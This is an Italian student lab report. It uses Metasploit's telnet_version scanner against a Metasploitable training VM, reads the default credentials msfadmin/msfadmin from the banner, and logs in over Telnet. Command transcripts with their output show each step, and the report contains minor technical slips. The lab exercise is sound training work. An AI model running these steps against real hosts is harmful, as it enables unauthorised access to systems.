

PROGETTO S7-L2

SCOPO: Usare Metasploit per sfruttare la vulnerabilità relativa a Telnet sulla macchina Metasploitable.configurando l'IP di kali con 192.168.1.25 e l'IP della di Metasploitable con 192.168.1.40 .

Prima di passare alla fase Applicativa prendiamo un pò di tempo per capire che cosa è **Metasploit** e che cosa è **Telnet**.

1-) Metasploit

È un framework open-source usato per il penetration testing e lo sviluppo di exploit.fornisce una vasta gamma di exploit(quasi 2000) e numerosi vettori di attacco che possono essere utilizzati contro diversi sistemi e tecnologie. Può anche essere utilizzato per creare ed automatizzare i propri exploit.

Metasploit fornisce anche una gamma di 600 payload,que sono porzione di codice o dati all'interno di un pacchetto di dati o di un programma che esegue una specifica azione quando attivo.

2-) Telnet

È uno dei servizi attivi su Metasploitable, è un protocollo che consente di stabilire una connessione remota a un dispositivo per interagire con esso tramite la linea di comando.

A come scopo di inviare informazioni,comprese le credenziali di accesso,in modo non crittografatto. E questo lo rendo vulnerabile agli attacchi di intercettazione e sniffing.

PROGETTO S7-L2

3-) Fase di Applicazione

In questa fase descriviamo come abbiamo processo per sfruttare il servizio vulnerabile Telnet

Abbiamo attivato la console di Metasploit con il comando **msfconsole**,

Poi abbiamo avviato la ricerca con il comando **search telnet_version**.

Di seguito abbiamo usato il comando **use** seguite del path di telnet, per usare il payload di telnet. E poi inserendo **show options** per gli opzioni e abbiamo ottenuto il risultato seguente.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
View the full module info with the info, or info -d command.
```

Dopo questo abbiamo inserito l'indirizzo IP di Metasploitable usando il comando **set** seguito dell'indirizzo IP di Metasploitable. E abbiamo ottenuto il risultato che segue:

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > set LHOSTS 192.168.1.25
[!] Unknown datastore option: LHOSTS.
LHOSTS => 192.168.1.25
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

Possiamo vedere qui che l'indirizzo IP è ben stato inserito come indicato con la freccia rossa.

PROGETTO S7-L2

Poi abbiamo inserito il comando **exploit** per avviare l'attacco e abbiamo ottenuto le informazioni di login (**username** e **password**), che possiamo vedere indicato con la banda bianca qua sotto.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Poi inserendo il comando telnet seguito dall'indirizzo IP di Metasploitable ci esce la schermata principale della macchina metasploitable dove inserire le credenziali e dopo aver inserito le credenziali otteniamo la schermata che segue:

```
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Thu Jan 25 11:10:57 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

PROGETTO S7-L2

Inserendo il comando **ifconfig** otteniamo gli informazioni di rete della macchina Metasploitable come segue:

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:d7:f9:3c
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fed7:f93c/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:86 errors:0 dropped:0 overruns:0 frame:0
          TX packets:171 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6552 (6.3 KB)  TX bytes:16966 (16.5 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:201 errors:0 dropped:0 overruns:0 frame:0
          TX packets:201 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:64753 (63.2 KB)  TX bytes:64753 (63.2 KB)

msfadmin@metasploitable:~$
```

E a questo punto possiamo dire che l'attacco è andato a buon fine.